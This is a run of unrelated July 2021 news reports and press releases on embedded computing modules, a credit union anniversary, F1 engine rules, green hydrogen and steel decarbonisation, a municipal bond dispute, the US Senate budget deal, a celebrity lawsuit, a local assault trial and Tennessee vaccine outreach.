In September 2020, AAEON introduced a series of embedded platforms integrated with Intel Core processors (11th Gen) and Intel Atom processors for increased performance, flexibility, and ability of edge computing.

In September 2020, Avalue Technology unveiled EAX-C246BP, an ATX motherboard integrated with Intel Xeon, Intel Core TM/Pentium, and Celeron processors for automation, industrial, automatic medicine packaging machine, and other embedded applications.

In September 2020, Seco unveiled SM-C93, a SMARC Rel 2.1.1 compliant module with the Intel Atom x6000E Series and Intel Pentium and Celeron N and J Series processors for industrial, retail, and gaming applications.

To Buy:

https://www.marketresearchfuture.com/checkout?currency=one_user-USD&report_id=8628

COVID-19 Impact on the Global System on Module Market

The COVID-19 outbreak has had little effect on the system-on-module (SoM) market. A system on module is a small board circuit that combines multiple system functions into a single module. Engineers frequently confront obstacles when creating products, bearing in mind performance and connectivity, power consumption, cost-cutting, and product size. SoM is critical in creating a focused and efficient product. The demand for wireless and portable devices is propelling the SoM market forward. However, the delays in the design and launch of new products induced by the COVID-19 pandemic are projected to stifle industry growth.

In contrast, in the middle of the ongoing COVID-19 crisis, researchers at the Computer Science and Artificial Intelligence Laboratory (CSAIL) have created a wireless device that allows healthcare personnel to remotely monitor patients. The device uses wireless signals to track the patient's breathing, sleep, and movement patterns. Furthermore, the growing need for advanced robotics is propelling the industry forward. Robots are being employed in hospitals to remotely measure patients' blood pressure, temperature, and oxygen saturation in order to protect healthcare staff and workers. Following the lockdown period, industrial plants and factories are expected to integrate smart processes and transition to Industry 4.0, fueling market development.

Impact of COVID-19 on the System-on-Module (SoM) Market

https://www.marketresearchfuture.com/report/covid-19-impact-system-on-module-market

About Market Research Future:

Market Research Future (MRFR) is a global market research company that takes pride in its services, offering a complete and accurate analysis regarding diverse markets and consumers worldwide. Market Research Future has the distinguished objective of providing the optimal quality research and granular research to clients. Our market research studies by products, services, technologies, applications, end users, and market players for global, regional, and country level market segments, enable our clients to see more, know more, and do more, which help answer your most important questions.

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SAN JOSE, Calif., July 14, 2021 (GLOBE NEWSWIRE) -- Sixty years ago, John F. Kennedy implored, Ask not what your country can do for you  ask what you can do for your country. In May of that year, 1961, four IBM employees embodied the same community spirit and founded what would eventually become Meriwest Credit Union.



IBM NorCal Employees Federal Credit Union was formed with eight members and $5,000 in assets on May 5, 1961. As the valley grew and changed, the credit union did as well to become the Meriwest Credit Union you know today, with over 88,000 members and approaching $2 billion in assets. And through the growth, Meriwest has steadfastly maintained the values since its inception; helping others improve their finances and attain their goals. Meriwest was then, and is today, truly, people helping people.

Serving their entire community has always been a focus for Meriwest. Last year alone Meriwest conducted over 170 financial education workshops on topics ranging from simple budgeting, to buying your first car; and consulted with more than 2,000 community members on understanding their credit score. On a broader scale, Meriwest worked with the City of Cupertino on their Rent Relief Program in 2020 and provides ongoing support of community programs such as Mayor Liccardos Youth Works Program, County of Santa Clara Youth and Family Services Program, California Diversity Council-Silicon Valley Chapter and City of San Jose Youth and Family Support Services. In recognition of their dedication to the community, Meriwest has received numerous awards from nonprofits for their philanthropic activities and support of the underserved.

As member relationships continue to be at the forefront of the movement, in July of 2020 Meriwest introduced the Merit Rewards program; the more a member turns to Meriwest for their financial needs, the more they are rewarded for their business.

In announcing the 60th Anniversary edition of the Meriwest logo to commemorate this historical milestone, President and CEO, Julie Kirsch, remarked, Over the course of 60 years there were many major milestones along the way and continued leadership from the Board, resiliency, vision and core principles drove our success which is still evident today. IBM will always be the heart of Meriwest and the addition of the counties we serve is the heartbeat.

About Meriwest Credit Union

Founded in San Jose, California on May 5, 1961, Meriwest Credit Union, one of Silicon Valleys largest and most established financial institutions, provides proactive, personal, convenient, and innovative financial services to over 80,000 businesses and families throughout the San Francisco Bay Area and Tucson, Arizona. Meriwest has assets in excess of $1.9 billion, making it one of the top-200 largest credit unions in the United States, and offers a wide array of personal banking, business banking, and wealth advisory products and services to members. In 2020 & 2021, the credit union was voted Best Places to Work by the San Francisco Business Times and Silicon Valley Business Journal and was included in The Mercury News 20th Annual Best in Silicon Valley Readers Choice Awards in 2021. More information can be found at www.meriwest.com.

Contact:

Helen Grays-Jones

Meriwest Credit Union

Community Relations Manager

Direct Line: 408-365-6328

hgrays@meriwest.com
Dallas, Texas, July 14, 2021 (GLOBE NEWSWIRE) -- After hosting the annual NeuroCon event virtually in 2020 due to COVID-19 restrictions and precautions, Parker Seminars is excited to host its 2021 event live on the Parker University campus. This exciting experience will take place July 30-31, 2021, in Dallas, Texas, in conjunction with the annual Summer Jam event celebrating Parker University students, staff, and faculty.

Attendees can join Parker Seminars for an exciting in-person, two-day event designed specifically for healthcare professionals. Sessions will be centered around a superior integrative approach to supportive research and application for the care of neurological disorders. Attendees will learn from and network with well-known worldwide leaders who specialize in disorders of the nervous system.

NeuroCon will feature various renowned industry speakers such as Dr. William E. Morgan, Jay Shah, Tammy Fogarty, Richard Harris, David Seaman, and Brandon Brock. New York Times bestselling author David Eagleman and TED Talk Presenter Heather Berlin, both keynote speakers for the event, will offer their first-hand knowledge and share their valuable experiences with audience members. Attendees can even earn valuable CE hours and visit vendor booths to learn more about the industrys latest and greatest advancements.

To register or learn more about all things NeuroCon, visit parkerseminars.com/neurocon-21. Save your seat before time runs out!

About Parker University

Parker University, the fourth-fastest growing college in Texas and the fastest-growing college in Dallas, was founded in 1982 by Dr. James William Parker (formerly Parker College of Chiropractic). Today, Parker University has more than 1,800 students and 34 academic programs, including its famed chiropractic program, as well as masters degrees in neuroscience, clinical neuroscience, strength and human performance, and functional nutrition. Currently, Parker Universitys chiropractic cohort is the second largest of any campus in the world.

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CASSOPOLIS [mdash] Lorraine Miller, 78, of Cassopolis, Michigan, formerly of Goshen, passed away at 3:45 p.m, on Thursday, July 15, at Spectrum Health Lakeland, St. Joseph, Michigan, with her family by her side. She had been in declining health with a brief illness. She was born on March 28,
Since Austria, chatter has swivelled somewhat in the direction of F1's future engine regulations. Here's a recap of what's happened and what it means for the future.

Recent News

Head of Porsche Motorsport & Volkswagen Group Motorsport Eritz Enzinger was recently spotted at the Styrian Grand Prix paddock in the leadup to a major meeting on the future of engines in Formula One. Representing Porsche & Audi, he joined Ferrari, Mercedes, Renault & Red Bull in discussions for the 2025 engine regulations. Further talks are yet to happen later on to iron out more details.



In an on-the-grid interview with Natalie Pinkham before the Austrian GP, Stefano Domenicali declared that the focus on future power units would be around V6 turbo hybrids with biofuels to be used to a certain extent. Hydrogen power was fully ruled out, with Domenicali stating that it would be too early to investigate that as a potential source.



Red Bull Powertrains has also recently come out with aims for a more clean slate, likely so that they can level the playing field and start the development race from a closer point to their rivals.



What does this mean?

Volkswagen is a major force in the automotive industry, with the German brand owning Skoda, Lamborghini, Ducati and part owning Audi, Porsche, Bentley and more. They have also been vocal in recent times on their direction for sustainability, with Volkwagen aiming for a 70% European market share for the sales of EVs. Stefano Domenicali and Ross Brawn will certainly be happy to have captured the interest of Volkswagen. This would also hopefully mean more may be joining in the future. Whatever happens, competitor brands will be interested in the recent news from the Formula One sphere and at least take note.



A major overhaul with the engine regulations would be of benefit to newcomers into F1. It would allow a similar starting point to their competitors and would help provide closer racetrack performances. This can be done to a certain extent with the use of biofuels but may be hindered by the existing teams previous knowledge of the engines architecture, inefficiencies etc. Still, the more high-value companies looking into F1s future, the more media attention and the more eyes drawn not only to F1 but also the search for efficient and sustainable energy usage.
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Grand Haven

BLP, City Council grilled by business leaders over bond proposal

Jacobson Walters

Try as they might, Board of Light & Power officials were unable to change the hearts and minds of local industrialists currently opposed to a multi-million-dollar bond proposal.

In June, 11 area local business leaders sent a letter to Grand Haven City Council members expressing their concerns with the bond proposal being put forth by the BLP. In their letter, the business leaders requested a meeting with officials from both the city and the BLP for further discussion.

On Monday, five of those industrialists met with the City Council and BLP officials to get some answers to their questions. Attending was Tony Verplank and Kyle Verplank from Shape Corp., Nelson Jacobson from the JSJ Corp., Kris Wagenmaker from West Michigan Molding, and Rick Grassman from Grassman Investment Group.

We greatly appreciate the council arranging the meeting. Excellent information sharing, Jacobson wrote in a follow-up text message to the Tribune. The seriousness of the environmental issue is being better understood and openly discussed.

While he appreciated the candid discussions at the meeting, Nelson said his opinions havent changed.

Our position remains that (the) current process must be stopped until the cost and risks are better understood, he wrote. We hope all the stakeholders can proceed together on developing the best options regarding clean, reliable power for our area.

At the June 17 meeting of the BLP Board of Directors, the municipal utility staff reported that environmental contaminants including PFOS, PFAS and cyanide were found on Harbor Island at the Sims site. Raising some concerns, the industrialists asked the BLP if theyd obtained an independent legal opinion in regards to the environmental issues and how it might affect employee or contractors exposed to them.

Mayor Robert Monetza said that the city has not sought an independent legal opinion.

BLP General Manager Dave Walters added that PFOS contamination is not something limited to just the city or the BLP, and cited contamination that was found in Robinson Township.

So, what increase liability did Robinson Township schools face when they found PFOS? Did they immediately move all the students off site? Or build a new school because they found PFOS on site? Walters posed. No, they didnt. Did they prevent the students from continuing to drink the water? Yes!

So, I think we moving forward as a city will have to evaluate how we use that site given the fact that there is contamination on that site, he continued. ... Will it limit the use of that facility? I think we said that. Yeah, it is probably not wise to do some of those things people are talking about on that site.

BLP employees probably already have had exposure from the Sims site contaminants, Walters said, and as they develop the area they will work to lower it.

Both the industrial leaders and concerned citizens attending the joint meeting asked why the BLP cant just put a pause on the bond proposal.

These people are saying there is no risk to a pause  thats nonsense, Walters said. There is a lot of risk to a pause. We put this financing plan together a year and a half ago with a lot of contingencies, and changing it and redoing and restarting the process not only wastes all the money weve already spent, it jeopardizes the repayment of some of those bond anticipation notes weve already issued.

The proposed BLP bond would go toward paying off those anticipation notes. So far, the BLP has funded the following work through use of the notes: Sims plant demolition ($5 million), snowmelt equipment ($1 million), substation improvements ($4 million) and advance metering infrastructure ($2 million).

However, there is additional proposed work that the money from the bond would pay for, which includes the construction of a natural gas-powered peaking plant. At a BLP meeting in June, it was noted that rates would likely rise without the bond to pay off the notes.

When we looked at bonding, we actually looked at its impact on rates, just like you do for your businesses when you have this capital crunch  you dont typically fund that with one-year rates, Walters said. You spread those costs over multiple years, and thats what we had when we shut down Sims. We had demolition costs, site remediation costs, but we also had a lot of distribution costs. ... If you look at our five-year capital plan, it isnt limited to just what is being done at the Sims site  the utility is completely changing its operation.

Walters said the BLP is changing from a generation-centric utility to a distribution utility. By not bonding, or borrowing to pay for it, the utility rates will be negatively affected.

We still require capital now, and the idea behind the bond is to spread some of those immediate capital needs, Walters explained. And only $18 million of that is generation. We have almost $80 million in our capital improvement plan. The remaining $60 million cannot be funded without some sort of capital infusion debt.

Walters told the industrialists that by eliminating the generation aspect (peaking plant) doesnt mean the BLP can just eliminate the bonding. He also said there is a higher need for peaking, when more and more intermittent resources (wind, solar, etc.) are used for power generation.

Anyone will tell you in the industry right now, the amount during those periods of times when suddenly the wind stops blowing, or the sun goes down  which is what California is dealing with right now with the ramp rates  the need for peaking generation increases substantially when you bring on these high levels of intermittent resources, Walters said.

A peaking plant would lower costs when there isnt enough wind or sunlight to generate energy, Walters said. Without it, costs would go up, he said.

Throughout the meeting, Walters maintained that BLP rates were competitive with Consumers Energy. But some of the industrialists didnt agree.

An offer was made by the BLP to run their information into a rate calculator so that they could compare energy costs. In response, Kyle Verplank said, We dont need a rate calculator. We know that.

Tony Verplank told the BLP that Shape Corp. has a third-party energy consultant that they hire to advise them on how to save money. If we could flip a switch to be Consumers or BLP, we would be all in on Consumers, he said.

A question was asked about conducting an independent study by a third party looking at issues surrounding the proposed peaking plant.

City councilmen Dennis Scott and Michael Fritz didnt appear to be in favor of a third-party study. Councilman Ryan Cummins does favor it and Councilman Mike Dora is on the fence.

Dora said finding a third party that isnt tied to the energy industry, and can be agreed upon by all parties, would likely be difficult.
ArcelorMittal signed a memorandum of understanding (MoU) with the Spanish Government that will see a 1-billion investment in decarbonization technologies at ArcelorMittal Asturias plant in Gijon. The investments will reduce CO 2 emissions at ArcelorMittals Spanish operations by up to 4.8 million tonnes, which represents approximately 50% of emissions, within the next five years.

At the heart of the plan is a 2.3 million-tonne green-hydrogen direct reduced iron (DRI) unit, complemented by a 1.1 million-tonne hybrid electric arc furnace (EAF). (Earlier post.) This starts the transition of the Gijon plant away from the blast furnace-basic oxygen furnace steelmaking production route to the DRI-EAF production route, which carries a significantly lower carbon footprint. The new DRIwhich will be the first of its kind in Spainand EAF will be in production before the end of 2025.

To maximize the emissions reduction potential, ultimately green hydrogen will be used to reduce the iron ore in the DRI, with the EAF powered by renewable electricity. Should green hydrogen not be available at affordable rates by the end of 2025, natural gas would be used to power the DRI furnace. This would still result in a significant reduction in CO 2 emissions, of 4 million tonnes, approximately 45%.

The support of the national and regional governments in this project is crucial as it will enable ArcelorMittal to have access to green hydrogen supplied through a consortium of companies that will cooperate in the construction of the infrastructure required in order to produce hydrogen in the Iberian Peninsula using solarpowered electrolysis and to transport it directly through a network of pipelines. The initiative involves the construction of multiple large-scale solar farms, with hydrogen produced in situ and with the corresponding impact in terms of employment.

The Gijon DRI will also feed the companys Sestao plant, situated approximately 250km from Gijon, where production is already entirely from the electric arc furnace route. This means that by 2025 ArcelorMittal Sestao will produce 1.6 million tonnes of steel and be the worlds first full-scale steel plant to achieve zero carbon-emissions.

The Government of Spain will promote reforms and investments to support the development and growth of a strong, more competitive and sustainable industrial sector, as well as endeavoring to provide maximum financial support for the project, in line with Spanish legislation and European Union regulations.

Given the significant cost associated with the transition, in terms of both capex and opex, it is ArcelorMittals expectation this support will cover at least half of the additional cost to enable its operations to remain competitive as it accelerates its decarbonization program.

ArcelorMittal Europe has a target to reduce CO 2 emissions by 30% by 2030, and an ambition to be net-zero by 2050. The company is pursuing two pathways to achieve this: Innovative DRI and Smart Carbon.

ArcelorMittal Spains operations are already contributing to the reduction of CO 2 emissions from the companys steelmaking operations. Earlier this year, ArcelorMittal Asturias completed its project to capture hydrogen-rich coke oven gas and re-inject it into the blast furnace, replacing some of the coke used in the blast furnace. Deploying this innovative technology will result in a reduction in CO 2 emissions of 125,000 tonnes a year.
EDP, a Portuguese integrated energy utility; TechnipFMC, a technology provider to the traditional and new energy industries; and other research partners are joining forces to develop a conceptual engineering and economic feasibility study for a new offshore system for green hydrogen production from offshore wind power, called the BEHYOND (Bolstering the joint opEration of HYdrogen and Offshore wiND) project.





The main objectives of BEHYOND are:

The engineering project of an offshore hydrogen production module (electrolysis) and corresponding infrastructure using the electricity generated at offshore wind farms during curtailment;

To create an innovative system to face the increasing challenges of the energy sector, namely the growth of renewables penetration in the power system, which are highly intermittent and dependent on market based revenues;

To offer a solution to wind farm owners by increasing the competitiveness of offshore wind tenders, ensuring access to a new, affordable, reliable and sustainable energy vector; and

To increase the share of hydrogen in the final energy demand to enlarge the low-carbon energy sources share in the global energy mix and promote the environmental sustainability.

The study will include innovative integration of equipment for the production and conditioning of green hydrogen and infrastructure that allows for its transportation to the coast. The goal is to create a unique concept that can be standardized and implemented worldwide, allowing for large-scale hydrogen production.

BEHYOND brings together global players in energy, EDP and TechnipFMC, with the CEiiA research center - Center for Engineering and Development; WavEC Offshore Renewables; and the University of South-Eastern Norway (USN). The joint development will allow the consortium partners to position themselves in the hydrogen value chain, developing new business models and creating engineering solutions, new products and services for the hydrogen sector, worldwide.

This consortium will strengthen cooperation between Portugal and Norway and increase Portugal's competitiveness in the growth of the blue economy. The BEHYOND project was selected for support by the Blue Growth Programme of the European Economic Area Financial Mechanism (EEA Grants).

EDP, through the participation of EDP NEW and EDP Inovacao, is the project

coordinator and the entity responsible for the implementation of several phases: the strategic evaluation of the offshore wind-to-hydrogen market; the definition of viable business cases; and the technology roadmap to reach commercial maturity.

Each member of the consortium brings specific competences that are complementary:

EDP brings expertise in the development of offshore wind and in the implementation of innovative and complex projects, such as the WindFloat, a pioneer floating offshore solution.

TechnipFMC brings its extended history in subsea engineering, expertise developed on its Deep Purple green hydrogen project, and essential system integration abilities.

CEiiA has extended its experience of developing complex structures for sectors, including aerospace into the marine environment, and has competencies in systems, electronics, and connectivity.

WavEC Offshore Renewables is a R&D consultancy encompassing all marine renewable technologies, and a reference institution in the field in Europe.

USN is applying systems engineering techniques to gain early understanding of the needs of the overall systems, reducing risks in the latter phases.

Hydrogen is a strategic area in the global development of clean energies and in which EDP aims to invest worldwide. By leading the BEHYOND project, the company is anticipating, leading the key trend and contributing to a sustainable future.
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WASHINGTON (AP)  Senate Democrats announced late Tuesday that they'd reached a budget agreement envisioning spending an enormous $3.5 trillion over the coming decade, paving the way for their drive to pour federal resources into climate change, health care and family-service programs sought by President Joe Biden.

The accord marks a major step in the partys push to meet Bidens goal of bolstering an economy that was ravaged by the pandemic and setting it on course for long-term growth  and includes a Medicare expansion of vision, hearing and dental benefits for older Americans, a goal of progressives.

But Democrats behind the agreement face possible objections from their rival moderate and progressive factions, and will have to work hard to convert their plans into legislation they can push through the closely divided Congress over what could be unanimous Republican opposition.

We are very proud of this plan, Senate Majority Leader Chuck Schumer, D-N.Y., told reporters. We know we have a long road to go. Were going to get this done for the sake of making average Americans' lives a whole lot better.

Biden was set to attend a closed-door lunch at the Capitol on Wednesday with all Senate Democrats to lead us on to getting this wonderful plan enacted, Schumer said.

All told, the ambitious proposal reflects Bidens vision for making the most substantive potential investments in the nation in years, some say on par with the New Deal of the 1930s. Together with a slimmer, $1 trillion bipartisan effort of traditional road, highway and public works also being negotiated, they represent close to the presidents initial $4 trillion-plus effort that could reach almost every corner of the country.

The Democrats' goal is to push a budget resolution reflecting Tuesday's agreement through the House and Senate before lawmakers leave for their August recess. The resolution sets only broad spending and revenue parameters, leaving the actual funding and specific decisions about which programs are affected  and by exactly how much  for later legislation.

Nonetheless, approving a budget will be a major boon for the Democrats' effort to enact their subsequent funding bill. Thats because the budget contains language that would let Democrats move the follow-up spending measure through the 50-50 Senate with just a simple majority, not the 60 votes Republicans could demand by using a bill-killing filibuster.

The later spending legislation will likely not start moving through Congress until the fall.

Separately Tuesday, a bipartisan group of senators continued working on a third measure that would spend around $1 trillion on roads, water systems and other infrastructure projects, another Biden priority. Biden and 10 senators  five from each party  had agreed to an outline of that compromise measure last month, and bargainers have worked ever since to flesh it out.

In discussing the budget agreement, Schumer and other lawmakers did not respond when asked if they had the support of all 50 Democratic senators, which they will need to succeed. They also have virtually no margin for error in the House, where they will be able to lose no more than three Democratic votes and still prevail.

Moderates like Sens. Joe Manchin, D-W.Va., and Kyrsten Sinema, D-Ariz., might still demand further changes to reduce the plan's price tag and impact on already huge federal deficits. Progressives in both chambers might insist on beefing it up or other changes.

Sen. Bernie Sanders, I-Vt., the Budget Committee chairman, and other progressives pushed initially for a $6 trillion budget top line while party moderates insisted on a far lower price tag. Biden had proposed around $4.5 trillion.

The Democrats' announcement Tuesday left many questions about their budget accord unanswered. These included how much it would raise through tax increases on the wealthy and corporations and other revenue to pay for its costs; how much would be spent on specific programs; and how Bidens proposals would be curtailed or eliminated to fit into the legislation.

Schumer said the proposal would call for financing Bidens budget priorities in a robust way. He also said it would include a priority of Sanders and other progressives: an expansion of Medicare, the federal health insurance program for older people, to cover dental, vision and hearing services.

Sanders said the agreement would end an era in which, he said, rich people and big companies werent bearing enough of the burden of financing government programs.

Those days are gone, he said. The wealthy and large corporations are going to start paying their fair share of taxes, so that we can protect the working families of this country.

Sen. Mark Warner, D-Va., a leading moderate who helped shape the budget package, said the measure would be fully paid for with offsetting revenue but provided no detail. Biden has proposed financing the measure with higher taxes on the wealthy and corporations and beefing up the IRS's budget so it can collect more revenue from scofflaws.

The budget will include language calling for no tax increases on people making less than $400,000 a year, a Biden demand, or on small businesses. The provision was described by a Democratic aide who requested anonymity to discuss the negotiations.

On infrastructure, senators from both parties met Tuesday evening and their bipartisan deal appeared back on track, after days of disputes. Lawmakers said they were aiming for a new Thursday deadline to wrap up the details despite opposition from business leaders, outside activists and some GOP senators over how to pay for it.

The bipartisan infrastructure effort was thrown into doubt earlier Tuesday when Republicans said it was unlikely it would be ready for a vote next week, as hoped.

But senators exiting the meeting suggested they hadnt so much resolved the questions over how to pay for the package but moved past them  apparently accepting that some of the proposed revenue streams may not pass muster in formal assessments by the Congressional Budget Office, the lawmakers nonpartisan fiscal scorekeeper.

Manchin said he hoped that the CBOs score, as it is called, would show that everythings paid for. If not, well have to make some adjustments.

Even if the bipartisan group can meet its new deadline for agreement, its still a long shot the bill would be ready for a vote next week.

Senators have struggled to agree to revenue streams to fund the $1 trillion plan, which includes about $579 billion in new spending beyond regular expenditures already funded by gas taxes and other sources.

At least 10 Republican senators would be needed to back the infrastructure bill, joining with all 50 Democrats to reach the 60-vote threshold because it would still be vulnerable to a filibuster.

___

Associated Press writer Kevin Freking contributed to this report.
BOSTON (AP)  Actor Sacha Baron Cohen has sued a Massachusetts cannabis dispensary he says used an image of his character Borat on a billboard without his permission, according to documents filed in U.S. District Court in Boston.

The billboard for Somerset-based Solar Therapeutics Inc. showed Baron Cohen posing as Borat with two thumbs up and the words Its nice!  one of Borat's catchphrases.

By use of the billboard, the defendants falsely have conveyed to the public that Mr. Baron Cohen has endorsed their products and is affiliated with their business, according to the complaint filed Monday. To the contrary, Mr. Baron Cohen never has used cannabis in his life. He never would participate in an advertising campaign for cannabis, for any amount of money.

The billboard along a Massachusetts interstate highway was taken down in April, three days after Baron Cohen's attorneys sent a cease-and-desist order to the dispensary, according to the suit.

Mr. Baron Cohen is highly protective of his image and persona, and those of his characters. Mr. Baron Cohen is very careful with the manner in which he uses his persona and his characters to interact with his fans and the general public," the complaint says.

Baron Cohen and his California-based company Please You Can Touch LLC are seeking $9 million in damages.

An attorney for Solar Therapeutics said he was aware of the suit.

Upon receipt of the cease-and-desist letter from Mr. Cohens legal counsel Solar immediately requested that the sign company remove the billboard in question," Nicholas Hemond said in an emailed statement. As there is an active case before the court, we have no further comment at this time."
STAMFORD  As testimony entered a second day in the jury trial of a former Greenwich elected official accused of misdemeanor sexual assault, questions arose about what his accuser said to co-workers and how she described the alleged contact.

The difference between a pinch or a grab on the rear end, as opposed to specific contact in the genital area, could have significant legal consequences. Additional testimony Tuesday presented different witness accounts of what the woman at the center of the criminal case against Christopher von Keyserling told them, and when. How the case proceeded after the incident came to the attention of the womans supervisors was another subject of scrutiny for the lawyers trying the case in state Superior Court in Stamford.

On the first day of the trial, the woman, an employee at the town-owned Nathaniel Witherell nursing home, told the jury under questioning that von Keyserling put his fingers on her private parts after a hostile encounter between the two in her office on the morning of Dec. 8, 2016. He was later arrested on a charge of fourth-degree sexual assault, a misdemeanor, which carries a maximum penalty of one year in prison.

The womans former supervisor, Mary Bruce, testified Tuesday that she was informed by the accuser later in the day on Dec. 8. Bruce, testifying via teleconference from North Carolina, said the accuser pointed toward her thigh and rear-end when she described the alleged contact initiated by von Keyserling.

Chris pinched me, was how the woman described the incident with the defendant, Bruce testified. She said the accuser also asked her not to contact the town Human Resources Department. Bruce said she was apprised that the woman said she had been groped in the genital area several months later, when a case was filed with the Commission on Human Rights and Opportunities seeking compensation from the town. That case is currently pending.

The woman testified previously that she was troubled that the town had not allowed her to work in a different office location at the Witherell after the alleged incident. She said she felt let down by her supervisors, and working in the office where the alleged incident took place made her uneasy. She later took about four months off from work before transferring to another position within the town.

According to Bruce, the womans account to the CHRO contained inaccuracies.

Two workers at the Witherell who interacted with the woman on the morning of the incident testified they heard from the woman that she was pinched on my behind or pinched on my butt. The woman at the center of the trial earlier testified that she felt embarrassed to mention the more graphic account in front of men.

Two union officials who spoke with the accuser, who is a leader in the Laborers International Union of North America, on the evening of Dec. 8 said they were told about genital contact, they testified.

She told me Mr. von Keyserling inappropriately grabbed her private area. ... She said he grabbed her privates, testified Craig Whitcomb, president of the LIUNA local chapter.

I remember her saying, at some point, he reached between her legs and grabbed her, said William McCormick, business manager for the local chapter of LIUNA.

The woman earlier said she would proceed through a police investigation with the assistance of her union, though the town Human Resource Department was notified and began a proceeding.

Defense attorney Phil Russell questioned the men about their involvement in protests at the Stamford courthouse when von Keyserling was arraigned in 2017. Both men said they had taken part in picketing, taking vacation days to assist with the protest against von Keyserling, which was also promoted by a regional womans advocacy group. Russell had been asking numerous witnesses about their union activism, suggesting it played a part in the criminal complaint against von Keyserling.

Meanwhile, Lynn Bausch, a nurse at the Witherell who was acting in the capacity as acting administrator at the nursing home, said she was told by the complainant that von Keyserling had pinched her (rear end). The next day, Bausch testified, she was apprised that the alleged incident had included vaginal contact.

Russell, in drawing out differing accounts about what the woman said to co-workers and union officials, said that could lead to a legal argument over constancy of accusation, and whether differing claims could undermine a witnesss credibility.

Von Keyserling and the woman had a hostile discussion about local and national politics at the Witherell that morning. He is alleged to have followed the woman to her office, and after making several off-color comments, made physical contact with her as she left the room.

A final character witness for von Keyserling, a longtime friend, David Yudain, said the defendant was not the kind of person to initiate inappropriate touching.

Assistant States Attorney Elizabeth Moran questioned the character witness and inquired whether he knew about an alleged incident in which von Keyserling was said to have pinched another woman at Town Hall years ago. Yudain said she had never heard of that incident.

Russell objected to what he claimed was unsubstantiated gossip and called the question about a previous incident unfair to his client. The defense lawyer added that his client stated it never happened.

Von Keyersling, 75, served from many years on the RTM before losing his seat in the election following the arrest.

The trial is set to resume Wednesday with additional witnesses for the defense, and the jury could begin deliberations Thursday.

rmarchant@greenwichtime.com
GREENWICH  Federal grants and lower-than-anticipated expenses due to the COVID-19 pandemic turned a possible deficit in the school budget into a small surplus.

The Board of Estimate and Taxations Budget Committee got the good news on Tuesday afternoon from Sean OKeefe, chief operating officer for the Greenwich Public Schools.

The school district had started the 2020-21 fiscal year expecting it might need more money than budgeted to meet special education services costs and cover expenses due to the pandemic, he said. But the district instead ended up with a surplus of $316,929, OKeefe said, after ending the school year last month with $163,143,668 in expenses.

The surplus money will be transferred from the Board of Educations operating fund to the towns general fund, he said.

As we all know, we started the year with a great deal of uncertainty, OKeefe told the BET Budget Committee. We started with a known special education exposure of $2 million, and we knew we would be incurring a significant amount of COVID-related spending. For all of those items, the BET had graciously advised that wed be covered so we wouldnt have to worry.

But the BET wont have to cover any additional costs because the expenses were handled internally, he said.

OKeefe credited the four federal grants the school district had received to provide pandemic relief, which he said were significant.

There were also significant savings across the budget, which enabled the district to contain the special ed outplace tuition and cover all of our COVID-related spending, he said.

Items with higher costs included textbooks, custodial equipment and AV and IT equipment, OKeefe said. But those costs were offset by lower than expected expenses for transportation, he said.

One example of that savings, which OKeefe discussed with the committee, came from the decision to have all public schools use remote learning for the first school week back after both the winter break and spring break.

That decision was made to curb the spread of COVID-19 among students and teachers after many families likely traveled during those breaks, but it also provided a benefit with lower transportation costs, he said.

Each one of those fully remote weeks of classes generated nearly $250,000 in savings, OKeefe said.

We also had savings in utilities, both electric and gas in various maintenance accounts, he said.

The BET Budget Committee voted unanimously with all four members in support of accepting the transfer of funds from the school district. That item, along with other transfers of funds, will next be considered and voted on by the full BET, which is next scheduled to meet July 19.

kborsuk@greenwichtime.com
NASHVILLE, Tenn. (AP)  Tennessee health officials will not acknowledge that August is National Immunization Awareness Month per an order from the state's health commissioner, emails show.

The order, obtained by NewsChannel 5, was given to Tennessee's former top vaccination chief earlier this month just days before she was fired amid Republican outrage over her push to inoculate teenagers against COVID-19.

The firing of Dr. Michelle Fiscus sparked alarm among doctors, public health advocates and Democrats at Gov. Bill Lee's administration hesitancy to promote the COVID-19 vaccine, as well as the administration's recent actions to back off from promoting other vital vaccinations.

August is National Immunization Awareness Month and we would typically do a news release, a Governors proclamation ... , Dr. Michelle Fiscus wrote in a July 8 email. Please let me know if well be permitted to acknowledge the occasion.

Dr. Tim Jones, chief medical officer of the Tennessee Department of Health, replied Per the Commissioner, no outreach at all.

Sarah Tanksley, a spokesperson for Health Commissioner Lisa Piercey, said the agency had in no way halted the immunizations for children program and stressed that the state will continue to support vaccine outreach efforts.

Tanksley added the state is mindful of hesitancy surrounding vaccinations and pointed out the department intends to recognize National Immunization Awareness Month.

Last year, Lee signed a proclamation declaring August as Immunization Awareness Month, stating Tennesseans are encouraged to get vaccines due or overdue administered according to CDC recommended immunization schedules.

Fiscus served as medical director for vaccine-preventable diseases and immunization programs at the health department. She said the states elected leaders put politics over the health of children by firing her for her efforts to get more Tennesseans vaccinated.

She said the agency gave no reason for why she was being let go.

Given a choice of resigning or being fired, she chose termination. Fiscus then penned a blistering 1,200-word response saying she is ashamed of Tennessees leaders, afraid for her state, and angry for the amazing people of the Tennessee Department of Health who have been mistreated by an uneducated public and leaders who have only their own interests in mind.

Since then, the health department has acknowledged it has halted all outreach efforts around any kind of vaccines for children, not just COVID-19 ones. The Tennessean first confirmed the policy change.

Fiscus said Wednesday the policy change comes as an estimated 30,000 teens in Tennessee are behind on the vaccination schedule due to disruptions caused by the coronavirus outbreak.

In the day's since Fiscus' firing, local health officials in Nashville and Shelby County  encompassing Memphis  have been quick to point out that they won't be changing their own vaccine advocacy or policies.

Lee, a Republican, has been silent on the firing. His office and the health department declined to comment, citing personnel matters.

White House press secretary Jen Psaki declined to comment directly on Fiscus' firing Wednesday but said President Joe Biden's administration has been clear that we stand against any effort that would politicize our countrys pandemic response and recovery from COVID-19.

Psaki added that the federal government would keep working with partner states such as Tennessee to ensure we are conveying accurately that the vast majority, 99.5% of people who are going to hospitals are not vaccinated.

Only 38% of Tennesseans are fully vaccinated against COVID-19, lagging behind much of the nation.

"I dont think they realized how much of an advocate I am for public health and how intolerant of injustice I am, Fiscus told The Associated Press on Tuesday.

During a June committee meeting, angry Republican lawmakers invoked Fiscus name over a letter she sent to medical providers who administer vaccines explaining the states legal mechanism letting them vaccinate minors as young as 14 without parental consent, called the Mature Minor Doctrine. The letter was in response to providers questions and didnt contain new information.

Fiscus said the health departments attorney provided the letter, based on a 1987 Tennessee Supreme Court ruling and that her job was to explain what is allowable.

Republican lawmakers also admonished the agency for its communications about the vaccine, including online posts. One graphic, featuring a photo of a smiling child with a Band-Aid on his arm, said, Tennesseans 12+ are eligible for vaccines. Give COVID-19 vaccines a shot.

